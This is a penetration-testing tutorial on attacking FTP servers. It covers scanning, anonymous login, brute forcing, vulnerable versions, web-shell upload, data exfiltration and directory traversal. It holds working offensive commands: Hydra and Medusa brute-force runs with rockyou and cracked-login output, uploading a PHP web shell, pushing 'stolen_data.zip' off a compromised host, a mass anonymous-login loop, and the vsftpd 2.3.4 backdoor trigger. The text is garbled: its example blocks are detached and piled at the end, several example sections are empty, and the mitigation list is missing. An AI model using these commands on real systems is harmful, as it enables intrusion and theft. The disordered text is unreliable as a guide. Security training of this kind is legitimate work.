File Transfer Protocol (FTP) is one of the oldest and most widely used protocols for transferring files between systems over a network. Despite its age and inherent security limitations, FTP remains common in many environments, making it an important target for penetration testers.
Protocol Overview
FTP operates using two channels:
Control Channel (Port 21): Handles commands and responses
Data Channel (Port 20 or random high port in passive mode): Transfers actual file data
Common Variants
FTP: Standard unencrypted FTP (Port 21)
FTPS: FTP with SSL/TLS encryption
SFTP: Not FTP, but a separate file transfer protocol that runs over SSH
Enumeration Techniques
Basic Port Scanning
# Identify FTP servicesnmap-p21-sV<target># More comprehensive scan with scriptsnmap-p21--script=ftp-*<target>
Banner Grabbing
FTP servers typically display a banner upon connection that can reveal valuable information:
Example output:
This reveals software name and version information that can be used to identify potential vulnerabilities.
Authentication Methods
Anonymous Access
One of the most common misconfigurations is allowing anonymous access:
If successful, this grants access without valid credentials - a significant security issue.
Brute Force Attacks
When anonymous access is not available, credential brute forcing can be attempted:
Example Hydra execution:
Common FTP Commands
Once authenticated, these commands are useful for interacting with the FTP server:
Command
Description
USER username
Authentication username
PASS password
Authentication password
HELP
Show available commands
PWD
Print working directory
DIR
List directory contents
CWD directory
Change working directory
GET filename
Download file
PUT filename
Upload file
PASV
Enable passive mode
QUIT
End session
Vulnerability Assessment
Common Vulnerabilities
Anonymous Authentication: Allows access without valid credentials
Cleartext Credentials: FTP transmits credentials in plaintext
Outdated Software: Many deployments run older versions with known vulnerabilities
Directory Traversal: Some implementations allow navigating outside intended directories
Brute Force Susceptibility: Often lacks account lockout mechanisms
Software-Specific Vulnerabilities
FTP Server
Notable Vulnerabilities
vsftpd 2.3.4
Backdoor vulnerability
ProFTPD < 1.3.5
Multiple RCE vulnerabilities
Pure-FTPd < 1.0.47
TLS/SSL vulnerabilities
FileZilla Server < 0.9.60
Multiple DoS vulnerabilities
Data Exfiltration and Access
Retrieving Files
Once authenticated to an FTP server, files can be retrieved:
For multiple files:
Uploading Files
If write permissions exist, this can be leveraged for exploitation:
For web servers that expose FTP directories, uploading web shells can lead to remote code execution.
Common Attack Scenarios
FTP Directory Exposure in Web Root
When FTP directories are accessible via web servers:
Authenticate to FTP
Upload web shell to FTP directory
Execute shell via web browser
Configuration File Access
FTP servers may expose sensitive configuration files:
These files often contain plaintext credentials or security settings.
Abusing FTP for Data Exfiltration
In environments with restricted outbound connections, FTP can sometimes be used to exfiltrate data:
Misconfiguration Detection
Identifying Writable Directories
Checking Permissions
Example output:
Testing Directory Traversal
FTP Penetration Testing Methodology
Discovery: Identify FTP services on the network
Banner Analysis: Gather version information
Authentication Testing: Try anonymous login, then credential attacks
Directory Enumeration: Map accessible directories and permissions
Configuration Review: Look for misconfigurations and security issues
Vulnerability Testing: Check for known vulnerabilities based on version
Exploitation: Attempt appropriate exploits
Post-Exploitation: Extract valuable information or establish persistence
Mitigation Strategies
When reporting FTP vulnerabilities, consider recommending:
By understanding FTP services and their security implications, penetration testers can effectively identify and exploit misconfigurations and vulnerabilities in these systems.
# Using Hydra
hydra -L users.txt -P passwords.txt ftp://<target>
# Using Medusa
medusa -u user -P passwords.txt -h <target> -M ftp
hydra -l user -P /usr/share/wordlists/rockyou.txt 10.129.14.136 ftp
[21][ftp] host: 10.129.14.136 login: user password: password123
ftp> get sensitive_file.txt
ftp> prompt off
ftp> mget *.txt
ftp> put shell.php
ftp> get ftpusers
ftp> get user_list
ftp> get vsftpd.conf
# From compromised system
ftp> put stolen_data.zip
# Test ability to create directories
ftp> mkdir test
# Test file upload
ftp> put test.txt
# List files with permissions
ftp> ls -la
drwxr-xr-x 2 user group 4096 Aug 1 12:00 .
drwxr-xr-x 4 user group 4096 Aug 1 12:00 ..
-rw-r--r-- 1 user group 1234 Aug 1 12:00 confidential.txt
# Attempt to navigate outside intended directory
ftp> cd ../
ftp> cd /etc
# Create a script to test multiple hosts
for ip in $(cat targets.txt); do
echo "Testing $ip"
timeout 3 bash -c "echo -e 'anonymous\nanonymous@domain.com\nquit' | ftp -n $ip 2>/dev/null"
done
# Using wget for recursive download
wget -r ftp://anonymous:anonymous@$ip
# Triggering backdoor
telnet <target> 21
USER backdoor:)
PASS any